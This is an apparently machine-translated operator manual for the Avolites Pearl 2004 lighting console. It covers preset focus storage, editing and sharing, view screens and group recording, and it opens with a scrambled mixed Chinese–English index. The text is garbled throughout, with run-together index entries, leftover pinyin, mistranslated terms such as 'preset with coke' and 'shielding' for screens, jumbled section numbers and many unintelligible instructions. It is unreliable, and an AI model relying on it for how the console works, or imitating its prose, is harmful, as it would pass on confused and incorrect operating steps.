D为跟踪定义阶段(舞台)，106 种DeLatch 固定装置，131 删除，58 种追逐步骤，72 种追逐，72 个柄，47 种PATCH，46 ，47 预置焦点，82 展开菜单，69 删除，记忆，58 个控制台灯，15种综述，14种装置，珍珠的148 个图形，13更模糊的曲线，放置，47 更模糊的曲线，可定义的用户，48 沾，148 使Timecode 用户放置丧失能力，访问盘的110 DISK 系统，117 个钮，117 种格式安排盘，117 从盘装载展览，118 种操作，117 个个性盘，119 节省对盘的展览，118 个系统，117 盘sizel 用户Settings ，111 DMX ，148 通道用户Settings ，111 腐化，52 个特性，DMX 通道的49 减少的数量，插座的49 ，15种限制，选择的48 条线路，41 种输出，21，45 输出，问题，20种输出，41 种输出，14种输出，修正，14种输出，电报告知，14种PATCH屏幕，90 更新速率，76 种76 道裂痕，14种终止，51 种转播速率，51 ，148 转播速率用户Settings ，110 troubleshooting ，51 DMX 限制，51 种PATCH，90 。.

E64 Zhang TIMES menu, record, 69 TIMES, start menu, 69 EDIT FOCUS button, 82, 83, 86 TIMES menu, edit the chase steps, 66 66 EDIT FOCUS button, 86 species, 99, 100 editing memory, 57 individual files, 119 editing chase, 66 E-mail number, ii EVEN, 95 EXIT button, 17. .

. .

. .

H handle, 23, 26, 47, 29HTP, 149 channel, 33, 55, 56, 59, 60, 76, 113, 114 HTP and LTP channels, recording, 33 HTP time push pull, 64.

Illegal address, 40, 47 illegal addresses, including 119 I, 17 including the selection of properties, 96 including the selection of fixtures, 96 INCLUDE, 149 INCLUDE button, 96 INCLUDING shape, 104 individuals in serious times, and 64 individuals in serious times, 149 a insert chase steps, 73 to start menu, 69 125, 127, 128, 149 channels, 34, 149-channel, 34 instruments, 149 computer lights, type in the value of 149 strength, 95 Internet address, ii reverse channel, reverse channel 52, 35。.

K key, 15,18 adjustment switch, 1717 function key, 17. .

L15 comparison positioning fixtures LCD bright, bright, 13, 13, 17, 15LCD, 66, 149, 65, 68 separate Chase steps to LIVE TIME button, an exhibition from the disc loading 67, 118, 52 species of LOCATE fixtures, 36 species of fixtures, 29, 39 positioning fixtures, 50 lock console, had lost 15, 18 fixtures, 50 LTP, 149-channel, 55, 56, 33, 53, 54, time her time, waiting time, 64 64 LTP and HTP channel push pull, recording, 33 . .

150 M macro, macro, 37 main outlet, 14 main switch, which allows/not accept Chase 14 manual way, 74 manual software updates manually, ii, 13-tracking identification stage (stage), 106, master putting la 150 Faders, 15 memory copy, delete, edit 58 58, 57, 58, 59, Photocopying, previewing, 57 58 remember remember, on the chart's brand of 137 recording, 132, 57-use record stage (stage), 88 59 observation, memory, is stored in the shape of the 150 species of edit, put OFF at 104 . . Fader to pull down. User Settings, 109 把 ON at. . Fader to pull down.Place the users, 109 master push pull down B, 114, 150 0, 55 manner mode 1, mode 2, 56 56, 55, 56, 57 and shape, 104 in record shape, 103 species of memories, record, 23, 30, 53, 150 channel 17MIDI, user Settings, 111 incapacity/master/slave user Settings, 110 further readings, in order to run the required amendment 162, 160, 160 Timecode into boxes, 162 15 ML menu, 150 ways 0, 55, 56, mode 1, mode 2 56 36 mobile light menu, moving lights, 106 . .

N119 new buttons, 16, 17 new personality, second screening, 17 species of next, expand the menu, button NEXT TIME 70 67 normal manner, 113 Nudge, Nudge, 150 128, 128, 129, digital Keypad 17.

OODD, 95 OFF, 132 个, 150 button, 37, 38 focus, 85 preset shape of the switch OFF and above, 105 OFF button, the old personality file 85, 119 ON, 38, 150, 13 kinds of output observation 89. .

P fixtures to change certain pages, page 23, PATCH, 21, 27, 41, 43, 44 22 PATCH page fixtures, 21, 22, 42 pages for fixed installations, 16 level to control high resolution horizontal vertical, 29, and the exchange of vertical, 35 Park, 46, 150 PATCH level (level), placement, 47 species of PATCH, 40, 41.

1至1种PATCH，45 改变DMX 地址，45 改变柄，46 以颜色changers 删除，46 ，47 Dimmers ，21，41 ，42 ，48 Dimmers ，45 Dimmers VL5TM 洗涤Luminaires ，45 1至1种PATCH，21Dimmers ，检查PATCH，23Dimmers ，个别地，22Dimmers ，顺序的通道，22，42 快，45 种固定装置，26种，27，43 ，48 固定装置同时Dimmers ，固定装置的44 最大限度数量，Dimmers 的48 最大限度数量，Dimmers 和固定装置的48 最大限度数量，48 顺序的通道，42 观察固定装置PATCH，40 观察PATCH，40 观察PATCH，44 观察PATCHDMX 通道，40 观察PATCH柄，40 个个性盘，26个，42 ，150 盘，119 个文件，150 个文件，34 个文件，例子，172 个文件，写一个，164 个文件，26个，52 ，108 ，119 文件，customising ，48 个文件，编辑，119 个文件，老，119 个文件，可能的问题，，134 个文件，恢复失去，123 个电话号码，ii Photocopy ，58 ，71 ，151 Playback ，151 ADD 钮，16个区域，15个区域，115 推杆拉下，19，114 SWOP 钮，16种Playback 状态屏幕，90 阵地的焦点，在上77 个大国重新安排，13个大国从插座，14加强，13120 个出口，13供给破坏，把ADD 钮预置在上面，15个区域，15家返回，147 家返回，114 家返回B，114 家返回标签，27，43 Faders ，15个，113 ，114 ，151 焦点，151 个焦点，运用，81 个焦点，定义，77 个焦点，记录，80 个焦点，replaying 时间，84 个焦点，77 个焦点图表的牌子，130 个焦点，有时在Takeover 运行方式中应用，114 个焦点，自动地创造，27个，43 焦点，编辑，82 个焦点，organising ，80 个焦点，-前编写程序，84 个焦点，记起，80 个焦点，的用法，77 掌握，114 掌握，113 个主控把，114 个主控推杆拉下推杆拉下B，114 个SWOP 钮，15预置数字的焦点，81 观察，89 预置焦点ADD 钮，81 预置焦点程序员，87 预置焦点观察，85 预置焦点，删除，82 种预观点，58 种预观点，追逐步骤，75 ，88 以前的步骤，展开菜单，70 个问题预置焦点，86 个19个，39 ，51 ，60 ，76 ，86 ，108 ，116 ，123 ，134 ，147 节目，151 个关键放置，15方式，18个精选的钮，16个程序员，18，19，33 ，53 清除，19个程序员，18，33 。.

R randomly, 66, 74 REC.STEP button on the sign, in 66 fans recall focus, instrument channel channel 130 records, 53, 60, 76, 53, 61 way users place, 109 stage (stage), 59 records, expand the menu, the recording mode, channel 69 53, 61 records, instrument of 53 61 records, 53, 61, push pull down the weakening of 76 species weakened push pull, 151, 97 release fixtures, 131 and quantity, expand the menu, 73 70 46 45 Repatching, instead of the power supply (power/power) supply, 19 15 rearrange buttons to rearrange the Restore screen, 88, 97 Chase output button button, 68 of this REVIEW, 15 pages, 15 pages, 60, 76 pages, 151 15 running, RUN key placement, 15, 18, 113 normal operation mode, 113 users place, 109 . .

. .

T table, 152 Takeover, 114 test button and faders, 121 OFF button, 38 94 THROUGH Timecode, the valid range for user Settings, 111 Timecode boxes, 162 conversion timer, 54, 63 TIMES menu, 64, 54 54 times, tracking, 152 definition stage (stage), 106 ID stage (stage), 106 training console does not have a chart of brands, brand, 106 chart 133, 107 tracking, 37, 106, 107, 108, tracking of 108, 125, 152 console, 106, 107 of the training machines, 25, 55, 56, 62, 109, 152 spin OFF of the channel, 37, 38, 38 fixtures OFF two preset modes, 15, 21 . .

U start menu screen, 68, 91 UNFOLD, 68, 152 to expand the menu to delete, and edit working age 69, 69, 70 left a insert, 69 species of next, previous steps, 70 70 records, number 69, 70 and then update the individual file, 26, 14 useful on the console, 88, 90 more blurred curve file format, 163 user Settings, 152 Autoconnect, 110 species of Chase parameter, 109 disk size (dimensions), 111, 111 DMX channel DMX transmission rate, 110 species of fixtures or imitation, remote 111 chart of brands/stage (stage), 110 species of ear OFF at . . Fader to pull down, 109 memory to ON at. ., 109 MIDI channel fader to pull down 109, 111 MIDI disabled master / slave, 110 recording, 109 operation mode, several seconds or BPM rate of 109, 110 effective range, 111 XX - little wheels control, 111 USER SETTINGS, 86 种 use fixtures, 26 manuals, 12. .

V13-VDU socket, 15, 113, 152 active shape, 104 connected Chase, handle the screen of a PATCH, 88 90 VIEW, 88, 89 and memory of fixtures, 88 properties and table, as a percentage of the screen output of 91 channel, sufficient 90 channels output resolution screen, 90 Chase times screen 90 Chase VDU screens, 13 outlets, expand screen, 91 current console output DMX, 89, 90 PATCH Playback status screen, 89 90 original file parameters, 90 pre screen shield, 91, the original file screen 90 users . Preferences screen, 90 VIEW, handle PATCH, 90 VIEW, connect chase, 75 observation instant, and the channel fader to pull down, reverse the channel by 34, 35 pre-focus, 85 PATCH, 40 PATCH, 44 PATCHDMX channel , 40 PATCH handle, press the selector switch 40 electrical, 13 switches, press the selector switch electric switch 13, 14. .

W wait, 63, 64, 65 and timely entry time, 64 64 from time, put all (Chase) step waiting and push pull, 74 Website, ii, 13 wheels, 29,152 B, user Settings, sensitivity 29,152 111 wheels, 16, 28 spacious, 15, 22, 45, 113, 115 WIPEALL, 15, 17, 19, 21, 26, 40, 120 152 links, so that links to Pearl, 120, 123, may issue . .

X 。.

XX little wheel control user Settings, 111. .

[RS1] [RS2] Avolites Pearl 2004 name operator manual-page I..

No. 98 P2004MAN. . DOC 98 7:15. .

Avolites Pearl 2004 operating manual no. 184-page.

No. 98 P2004MAN. . DOC 98 7:15. .

MUSIC TRICK LIGHTING 。.

Hjc19726 @ yahoo. . Com. . Cn QQ105389283. .


8. Preset focus.


8. .1 Focus ─ ─ definitions. .


Focusing on the word of the many lights in the aggregation, for the purpose of this manual, the term is defined in focus to avoid confusion.


"Focus" is used to describe the lighting point of space or direction of target location is called focus. .


"Spotlight" used to refer to an object is clear or vague is called clarity.


"Focus" is used to store a reference message, the lamp is called pre-focusing. .

8. What is preset focus .2?.


You can think of pre-focus then used to create blocks to create a record or track the step. .


Preset focus can contain any or all of the lamps.


Ie: you can have a color preset focus, which includes all aspects of lighting in any color red color. This means that the two are Butong De value has been taking your computer Deng Yan Se changes Pichu Cun different but the result is you can choose the computer lights Zhengge assembly, call Zhege preset with coke, Tongshitamen will Suoyou red. .


When you use preset focus to build a performance table, you store a reference to the preset focus, not absolute channel level in current output, lamps from preset focus regain value. Therefore, you cannot change the preset focus, and to correct the information in memory and tracking demo.


This is very convenient! ! . .


If you do a tour, and each time the performance of the lamp height and position relative to the stage are very different, you can store location preset focus to give you the same location on the stage lights instead of going to write a daily show tables, test, and set the preset focus than editing each memory is a lot easier.


A clever way to use pre-focus color analog converter arranged in color, different color change requires a different level to the implementation of the same color, you can create color preset focus to compensate for this. If you have to change a color change, but a new unit to correct the pre-focusing, at this time will also follow changes in memory. .


Preset focus can contain more than one character. You can do a pattern preset focus, not only can store a pattern, but also to optimize the sharpness value makes things clear, but each preset focus for each of the luminaire of each characteristic is only one value.

8. .3 Focus logo. .


Focus on identifying with old versions of the same Perlas console has not changed, except now it only translates into USER SETTING menu, I addressed the rationale is that the result is because people have inadvertently changed it, now you can avoid it, so it's not that important for us. But the whole process of it still is a good thing. In this section, I focus on identity, it is assumed that the recommended values exist, and if you didn't use enough skilled and no longer need this book, you want to change them, this is an act of folly.

8. .3. .1 How to focus the work identified. .


Each preset focus for each each character can store one (and only one) value, and sometimes a preset focus has only one character, but this is very important to understand that it can store your lamps each character of a value.


Focus logo is used to determine the characteristics of which feature block can visit the settings generally recommended only to let you know the characteristics of your current block has the same characteristics, horizontal and vertical features from the point of view, you can only store and called horizontal and vertical features. This means that if you are the horizontal and vertical characteristics of blocks from any pre-focused call, you can not change the pattern of lights. Similarly, if the horizontal and vertical features in the block stored in a preset focus, you can not save images on the things you want to store images, you have to go to pattern (GOBO) feature in the. .

8. .2 .3. recommended settings for focused identification.


After doing a erase (WIPEALL), the focus surveillance on the following features:. .


In the properties of the block 1, all properties are set.


Characteristics of block 4,9 and 10 are usually used to control the color wheel and color mixing functions, the color characteristics of all the settings. .


Properties in block 11 is a transform key, it allows to another property of a page accessed. Now there is no lamps use characteristics block 11-20, but they may in the future.


Feature block 12 is used in reduced functionality. See section 9 for more details. .9 Weakening Putters section. .

Number of recommended focusing on identity.


1 DIMMER (dimmer) ALL ATTRIBUTES (all features). .


2 SHUTTER (block).


IRIS (film) SHUTTER (block). .


IRIS (film).


3 PAN (horizontal). .


PAN TILT (vertical) (horizontal).


TILT (vertical). .


1 4 COLOUR WHEEL (color wheel 1).


COLOUR WHEEL2 (Color wheel 2) COLOUR WHEELS 1 & 2. .


YELLOW/EFFECT。.


MAGENTA / CYAN. .


5 FOCUS (focus).


ZOOM (zoom) FOCUS (Focus). .


ZOOM (zoom).


6 GOBO WHEEL 1 (pattern wheel 1). .


GOBO WHEEL 2 (pictorial runner 2) GOBO WHEEL 1 (designs 1 runner).


GOBO WHEEL 2 (pattern wheel 2). .


7 GOBO SPIN 1 (designs 1).


GOBO SPIN 2 (pattern rotation 2) GOBO SPIN 1 (pattern rotation 1). .


SPIN 2 GOBO (pattern rotation 2).


8 SPEED (speed). .


PAN&TILT SPEED (horizontal and vertical speed), SPEED (speed).


PAN & TILT SPEED (horizontal and vertical speed). .


9 YELLOW。.


EFFECT COLOUR WHEELS 1 & 2. .


YELLOW/EFFECT。.


MAGENTA / CYAN. .


10 MAGENTA。.


CYAN COLOUR WHEELS 1 & 2. .


YELLOW/EFFECT。.


MAGENTA / CYAN. .


11 (SHIFT KEY) (shift) key-.


12 (REDUCE FIXTURE INTENSITY). .


(Reduce the intensity of the light fittings),-.

8. .3. Focus logo .3 detect settings. .


View each property identifies a block of focused, practices are as follows:.


* Press CLEAR to ensure no choice anything. .


* Press the blue STORE FOCUS (stored in focus) button. The focus of the current character block identifies characteristics of the led on the block button to show, in most cases, it is only one characteristic, this also indicates that you are in which characteristics of a block.


* Select a block of any other features, and view their focus on identity, look at the LAMPS (light) and COLOUR (color) that one. .


* Then press STORE FOCUS press exit. Lighted led indicates you are now in which characteristics of a block, rather than the console that focus on identification tag.

8. .3. .4 Use of focus identified. .


You will notice that the LAMPS focused identifies all of the features can be used, be careful-if you store a block from the LAMPS or edit a preset focus, it will be stored in the programmer of all properties of the current value, which will enter other values to the preset focus.


The important point to grasp all the focus on access to pre-identity can really focus in different parts, in Yu Zhi focusing in horizontal and vertical information is the same, whether you block from LAMPS seen in the horizontal and vertical block, or from the point of view, and it can allowed to access it from any characteristics of block are converted, unlike in the LAMPS in the store you can see all the properties, not just one of them. .


Station in one room and you can see all the stuff in the room there is a difference between, or from a different Windows look the same room will be Visual, housing are the same something also furnishings are the same, when you change the location where you stand and what you do to change that has the same effect, only you can see the house number of things.


Pearl console so the fact that if you look at what the recommended COLOUR WHEEL, YELLOW / EFFECT and MAGENTA / Cyan identify the focus, they each have a color feature, the reason is that many computers have a color mixing lighting system, stage on a color may be a specific location on the color wheel combination, so MAGENTA, CYAN and YELLOW superposition of three different color filter, and so you save it as a color focus presets, you do not want to just color wheel position, or Cyan settings, but all the colors you want to see, therefore, should have all three characteristics, you can block from any of these colors are stored and called all of these colors。.

8. .4 Preset focus grouping. .


Pearl 2004 console can store 120 preset focus, each with from 1 to 120 a number between, at the same time, each preset focus can store any or all of the lighting characteristics of the information.


Focus on the first 30 presets can be preset with 30 gray ADD button to store and recall, these are the closest, and is stored in preset your most common focus of a good place. .


* Unless you require many preset focus, we recommend that you try to put a different type of preset focus on ADD button.


One advantage is that you can feature in the LAMPS block operations, and call a color or pattern, without changing the characteristics of block and do not call do not want features, this is because in the LAMPS in the focus of all of the features for identification is the normal settings, all stored in the pre-focus information in the view is called. See Section 8. .3. .4 Use of focus identification section. .


Namely: use head 10 ADD button to store the color preset focus, 10 are stored patterns preset focus last 10 store location preset focus.


If you are using a graphics board that can store and recall preset focus from 1-60. See Section 15. .7 Section focused on the board of the presets. .


State-of-the-box, enter a value in all focus can use FOCUS key to access. See section 8. .6 section use preset focus.

8. .5 Procedures for the preparation of a pre-focusing. .


* Keys to go to the location of the PROGRAM. To enter the programming mode.


* Reference to the situation of the establishment of pre-focus stage. .


* Press the program select block blue STORE FOCUS button.


* When you press this button, the characteristics of block indicator shows that the current focus on identity, and thus these features are stored in the programmer. If necessary, select a different characteristic features stored in you want. .


Or:.


* Storage to 1 ─ 30 preset focus, you will want to store pre-focus by pressing the gray pre-ADD button. .


Or:.


* Enter the number you want to store from 1 to 120. .


* Press ENTER to confirm.


Preset Focus will include all the lamps in the same type of programmer all the features, as identified in the focus on the same set. .


This is a record type with the channel, so only a matter of fact can see characteristics will be placed into the programmer.


Ie: If you press the CLEAR button, then change the color and the computer light beam horizontal and vertical track of points, if you re-record a preset focus position, it only contains the track points. .

8. .6 use preset focus.


Has been programmed with a pre-focused programs:. .


* Keys to go to the location of the PROGUAN or RUN, set to Take Over Run mode. See paras 12. .1 section run mode.


* Select the features you want to call the block, or to the LAMPS to call stored in the preset focus all the features. .


* Press the blue button to select the preset SWOP your lamps. Just a console mode in lamps, lamps, lights, you can select any number of lighting.

Or:. .


* You can press the grey settings are preset focus preset ADD button to invoke the preset focus 1-30.

Or:. .


* Press the FOCUS button is gray. The screen will ask you to enter the preset number of focused, and remind you to check the calling features.


* Enter you want to call the preset focus number, numbered from 1 to 120. Press ENTER to confirm. Back to the Programming menu. .

Or:.


* Enter you want to call the preset focus number. Into the INPUT (input) menu. .


* Press the soft key B [call focused] (Softbutton B [RECALL FOCUS]). Back to programming menu.

8. .7 Edit preset focus. .


* Keys to go to the location of the PROGRAM, enter the programming mode.


* Select the appropriate feature block. .


* Press the program select block blue button EDIT FOCUS.


When you press this button, the feature block indicator that the current focus on identity, they have been called into the programmer of the characteristics, if necessary, select the different characteristics of block to call features you want. .


* Press the ADD button or preset focus enter preset focus number and press the ENTER key.


All pre-focused lamp that will focus on using their preset values, these values are re-recorded before being placed in the programmer. See No. 1. .6 Festival programmer. .


* Do requirements change to preset focus.


* Press the program select the block blue STORE FOCUS button. Focus logo appear again in the light. .


Or:.


* Store Preset Focus 1-30, press the same preset button to store the editing focus. .


Or:.


* Enter you want to save the preset focus number, numbered from 1 to 120. .


* Press ENTER to confirm.

8. .8 Delete preset focus. .


A method can be used to remove from the grey button on the preset focus 1-30.


* The key to PROGRAM position, enter the programming mode. .


* Press the program select block blue DELETE button. It's led will be lit.


* Press the Preset Focus button twice to delete it. Remove the LED will extinguish. .


Preset focus 1-60 can delete from the diagram on the Board. See section 15. .7. section .3 boards remove a preset focus.


Preset Focus 61-120 now can not be deleted, although you put all the lights set to OFF state to accomplish the same thing, see Section 8. Section in the pre-focusing the .13 off characteristics. FOCUS through the gray button to delete the software functionality hope in the future can be realized. .

8. sharing a preset focus .9.


8. .9. .1 Preset storage of a shared focus. .


A shared preset focus enables the user to prepare for a lamp with a special program, and then be copied to this type of all other lamps.


This is very useful, because a show is, before preparing to pre-focus, you can use this type of light to carry out one program, it also means that if you want to add Dengju to the site's performance in, you do not waste time Focus on the preparation of a new preset. .


No there is only one lamp chosen preset with Coke, and when it is stored automatically when you share a preset focus.


All automatically created when pre-focused access a shared plan with focus set when loaded. .

8. .9. edit a share presets .2 focus.


When the record EDITS into a shared focus preset time, once selected over a lamp, the lamp back into these choices with the characteristics of ordinary pre-focus, while any remaining lamps will continue to share. .


However, when only one selection luminaire is to produce a branching, because when the remaining lamps still can share, or if you want to update all lamps EDITS the shared information, you can use this fixture to itself to record unique new EDITS (Edit).


A choice of lamps to store edited presets focus:. .


* Keys to go to the location of the PROGRAM, enter the programming mode.


* Select the appropriate feature block. .


* Press the program select block blue button EDIT FOCUS.


* Press the Preset Focus Preset Focus ADD button or enter the number and press ENTER. .


* Choose your lighting, and do the required changes to the preset focus.


* Press the program select the block blue STORE FOCUS button. Enter EDIT SHARED FOCUS (edit shared) menu. .


Or: just store the lighting changes.


* Press the gray button or in the usual way to enter the preset storage focus focus number. .


Or: Edit preset focus all lamps.


* Press the soft key A (Softbutton A [ENABLE SHARED FOCUS]) allows the sharing of focus. And press the gray button or the usual way to enter the preset storage focus focus number. .


Effectively, the console assumes that if you're in the normal way to store the edited focusing, you hash unique lamps.

8. .10 Pre - programmed preset focus. .


When a matching personal archives for luminaires, some are written in advance-share the preset focus is automatically loaded when you LOAD PRE-PROGRAMMED FOCUSES (mount has been programmed in advance-focused) menu prior to adapt the lighting appears, you can select YES to determine.


Only this time you can pre-load - is focused programming. .


This preset focus information by editing your personal profile to establish, how to do the detail in the personal archives of presentations in technical manuals.


Is usually the automatic loading preset focus as follows. .


Focus preset buttons 1 to 10.


Preset Focus buttons 11 to 21 patterns. .


Preset focus button 21 to 29 locations.

On stage. .

26 24-27.


222 123. .


29 28 25.


The next stage. .

This is a recommended in advance-programming position preset focus horizontal and vertical location table (assuming that the lamps in 21 above).


Pre - pre-focused programming to pre-focus by sharing the usual way to delete and edit. See Section 8. .9 Section preset focus. .

8. .11 a preset focus to play at least once.


This is the Take Over Run mode to perform a program is a great feature. See paragraph 12. .4. .2 Take up operation mode (TAKEOVER RUN MODE). .


You can call one of the preset focus over a given time.


* The key to RUN position. Enter the run mode. .


* Press the soft key is A [TOGGLE MODE] until the flashing cursor lines appear RUN MODE until the TAKEOVER.


* Select you want to use the lamps. .


* Choose your call feature block.


* In the keyboard to enter a time in seconds. Do not press ENTER. .


* Select preset focus.


This TAKE OVER RUN mode is most useful in programming is also very convenient, this approach does not run in other RUN mode. .


In order to make this feature work, you must have an available rod of recording and playing in the current wheel page.


Putting a recorder available is defined as follows:. .


A) is completely empty.


B) a memory recorded on it, but the playback fader to zero position. .


C) there is a track on it, but it to zero, while tracking parameters to be set to the mode of FADER RELOADS CHASE.


Time spent in this way to call the preset focus can not be carried out in the programmer, but in the playback area. This means that despite the pre-focusing is not subject to the control of a playback fader, but it contains the same features by another activated recorders putting drivers, rather than press CLEAR. .


For example, the lighting settings into yellow cone-shaped, and perform a clean-up stage of two seconds, and then do not clear the programmer to run the horizontal and vertical trace, because clear programming yellow circle will be lost and conical. This is a very strong feature: allows to advance good memories and track performances produced synthetic sounds.

8. .12 View the preset focus. .


In the programming and run-mode preset focus: in the view.


Or:. .


* Press the VIEW button.


* Press the Preset Focus from 1-30 in the ADD button. .


* You can press the properties one by one, each preset focusing characteristics of console output.


* Press EXIT exit. .


Or:.


* Press the VIEW button. .


* Press the FOCUS button.


* Enter your focus to see the preset number, from 1 to 120. .


* You can press the properties one by one, see VGA monitor on each preset focusing characteristics of console output.


* Press EXIT exit. .

8. switch off the preset .13 focusing characteristics.


In the same way you can turn off step in a memory or trace of light and features, you can use to identify stored in the preset OFF focus in lighting and features, 因而 they can not be called. .


* Keys to go to the location of the PROGRAM, enter the programming mode.


* Select LAMPS in the characteristics of blocks. .


* Press the program select block blue EDIT FOCUS button. Focus on identifying the characteristics of a block of led displays in the properties of the block button lighted led indicates that the block is selected, press the properties button on the block to open and close these characteristics.


* Press the preset focus to be edited. .


All preset focus of lanterns have preset focus on values, those values take precedence over and then the record is entered into the programmer. See section 1. .6 Festival programmer.


* Turn off the lights and turn off all the required features. (See section 4. .8 Festival OFF press). .


* Press the blue button to STORE and restore FOCUS preset focus is the normal way (NOMAL).


You can to separate the characteristics of block, preset focus and turn off the call to select one of the two lamps. .

8. change focus .14..


Did not enter the USER SETTINGS menu, you can not change focus on identity, unless you are fully aware of the location identified focus, and change it completely confident, I suggest that you do not change the recommended values. .


* Keys to go to the location of the PROGEAM.


* Press the soft key B (Softbutton B [USER SETTINGS]). Into the user settings (USER SETTINGS) menu. .


* Select the appropriate properties of the block. It's led will be lit.


* Press the soft key C (Softbutton C [SET FOCUS MASK]), set the focus on identity. Focus logo to feature the current block indicator in the form of that blinking cursor line used to determine the characteristics are editing the block that focus marking. .


* Press the characteristics of a block to select the focus in an identity. Characteristics of the fast light burning above indicates that it has been selected. By pressing a button on the properties of the block to open and close these characteristics.


* Press ENTER to confirm the changes. .

8. .15 help and tips.


Question: I edited some of the pre-focus lamp, and now some other lights to change. .


Answer: when you change a preset focus before you forget to press the button EDIT FOCUS. When you edit the original values, you do not store any other arena fixture.

Question: I put all the lamps in the horizontal and vertical storage of pre-focused approach, and it seems that it changed my previously stored in the same color button preset focus. .


Answer: you store LAMPS block out-of-the-box horizontally and vertically, thus all focused in focus identity properties are allowed, and all that time programmer's characteristics are stored.

Question: I save all the lights to a pre-focused, while it is not stored. .


Answer: select the preset focus on all the lights when you're in the corresponding properties of the block, enter the current value to the programmer, or they will not be stored, determine whether you are running a runner.

Question: I have a complex performance to be carried out, but not the programming time! . .


Answer: use shared storage that is preset to focus to days.

9. . The pearl useful features on the console. .


9. .1 more about working with VIEW on the screen of information.


Press VIEW button twice to reset the screen. .

.2 .1 9.... viewing memory


In programming or run mode view memory output:. .


* Press the VIEW button.


* Press the memory that you want to view the SWOP button. Playback from putting not pushed. .


* Can you step by step, each block, and view the properties of each attribute in the console output.


* Press the EXIT button to leave. .

9. .1 .3 viewing trace step. '.


In programming or run mode view memory output:. .


* Press the VIEW button.


* Press the memory that you want to view the SWOP button. Playback fader can Tuishang Qu can push down, the screen 6 (Preview Screen) automatically. You can detect trace the first step. .


* You can gradually implement each of the properties of the block and see VGA monitor each characteristic in the console output. You can use the Left and Right arrow keys to increase track step. You can view any of the current output of irrelevant trace step.


* Press the EXIT button to leave. .

9. .4 .1. a trace viewer.


Run in the Program mode or view the current output of a connection tracking step:. .


* Connect (connect) tracking.


Or. .


* Press the VIEW button.


* Press the button CONNECT. Playback fader can Tuishang Qu can push down, the screen 6 (Preview Screen) automatically. VDU shows the connection tracking of current output. .


* You can gradually implement each of the properties of the block and see VGA monitor each characteristic in the console output.


* Press the EXIT button to leave. .


Or:.


* Press the VIEW button and enter 5 in the keyboard and press the ENTER key, or use the NEXT SCREEN to flip the screen 5 (track time). .


* Press the EXIT left.


9. .1. .5 View the pre-focusing. .


In the programming and run-mode preset focus: in the view.


Or:. .


* Press the VIEW button.


* Press the Preset Focus from 1-30 in the ADD button. .


* You can press the properties one by one, each preset focusing characteristics of console output.


* Press EXIT exit. .


Or:.


* Press the VIEW button. .


* Press the FOCUS button.


* Enter your focus to see the preset number, from 1 to 120. .


* You can press the properties one by one, see VGA monitor on each preset focusing characteristics of console output.


* Press EXIT exit. .

.6 .1 9.... viewing lamps


In PROGRAM mode, or TAKE OVER RUN view lamps:. .


* Press the VIEW button.


* Press you want to view the lighting of the SWOP button, remember to select the correct page. .


* Automatically enter the matching handle screen, see Chapter 9. section shielding .2 .11 9-view matching with handle.


* Press EXIT exit. .

9. view current .1. .7 console output.


* Press the VIEW button. .


* Press the soft key is F (F [STAGE] Softbutton). Enter to see the screen 1 (View Screen 1) (channel output).


* Press the characteristics of each block, view the pre-focusing properties of the console of each output page by selecting the lamps 1 or 2 to see from the light in 1 or 2 in the output, the same, page by selecting 3 or 4 lamps to see from the lamp in three or four in the output. .


* Press EXIT to exit.

9. .2 Description of the various screens. .


You can view a variety of screen, you can use the NEXT button or VIEW SCREEN as follows:.


* Press the VIEW button. .


* In the keyboard input screens.


* Press the ENTER button. .

9. .1 .2. OUTPUT shielded 1-CHANNEL AS PERCENTAGE (the percentage of output channel).


This is the normal channel output screen. It shows the characteristics of block in the current output of each channel, select the block to detect the different characteristics of different characteristics of the output. .

9.2-CHANNEL .2 .2. OUTPUT, FULL screen RESOLUTION.


This shows the range from 0 to 255 the output of each channel. .


All of the channel is a 16-bit results, and the appropriate quantity of bit in your personal profile to define the luminaires DMX line output, and then select the different characteristics of the block to check the output of different characteristics.

9. .2. .3 Shielded 3-USER PREFERENCES (user reference). .


This screen allows you to view the current user settings.

9. .2. .4 Shielding 4-DMX PATCH (DMX matching). .


This screen displays the number of accompanied by handle, DMX address and number of lamps, the last panel shows the current output DMX channels.


With the UP and DOWN arrow buttons to move a single line and down, with the LEFT and RIGHT arrow buttons to move a whole page of DMX address. .

9. .2. .5 shielding 5-CHASE TIMES (tracking).


The screen display is connected to track time tracking, you can view the current time step and several subsequent time steps. .

9. shielding 6-PREVIEW .2. .6.


To keep the last memory you want to view, track step or pre-focused information. .

9. shielding 7-PLAYBACK .2. .7 STATUS (recording).


This shows the status of each playback channel, when you see them fade, if you are using a memory or trace of the time, it is useful. If you are using original documents, it is also useful. See Section 17 original file system. .

9. shielding 8-SCRIPT .2. .8 FILE (the original file).


Learn more details can be found in section 17 of the original file system. .

9. shielding 9-VIEW .2. .9 PATCH BY HANDLE (see matching using knobs).


The screen is divided into two parts. .


The above part to the handle of the number, the name and address of the luminaires DMX.


Part of the screen is given below how to set the various switches and lights its own control information. .


This is used to display a lighting information, you can use the UP and DOWN arrow buttons to select columns on the screen in the upper part of the luminaire.


When matching a number of lamps may not be displayed when the screen's lower half. .


In order to work on this screen, the lighting must have a light intensity channel with 1 block from properties in one preset putters, usually this is how things are, but when it does not occur, there are some instances in this regard.


Example: a horizontal and vertical restraints, used in the three color channels, rather than a dimmer color mixing device. .


This is the screen you want to handle large volumes, in a critical operations or a performance in General will not be used unless absolutely necessary.

9. .2. .10 Shielding 10-ATTRIBUTES AND TABLES (features and table). .


When they appear in the diagram on the Board, this screen displays the first selection luminaire features information, which is very easy to do for the chart identifies.


This screen also shows the use of any form available to the board the name, when the table was elected from the board, the table of contents on the screen appear on the right hand side. Head arrows, said the current selection from the table. .

9. .2 .11 shielding 11-CHASE UNFOLD. (track expanded).


When you start a track, the screen 11 will automatically load, and it will tell you which playback putting has come to their tracking step, and show that these steps are simple (abbreviated as 'S') or complex (abbreviated as 'C' ). .

9. .2 .12 shielding 12-SCRIPT FILE. PARAMETERS (parameters of the original file).


This screen displays the original programming of the current paper a table and accompanied by the following parameters: starting time of original documents, whether the open pearl of power automatically when the console, if only once or loop forever. .

9. write group .3..


Group to quickly set up and allows a large number of lamps of a few simple choices. .


Record group:.


* The key to PROGRAM position. Into the current programming mode. .


* Press the soft key H (Softbutton H [ML MENU]). Enter mobile light (MOVING LIGHT) menu.


* Select the grouping of the lamps, their light goes on. .


* Press the soft key D (Softbutton D [RECORD GROUP]), a group of records.


* In the keyboard input in a set of numbers between 1-60. .


* Press the ENTER key. Record group.


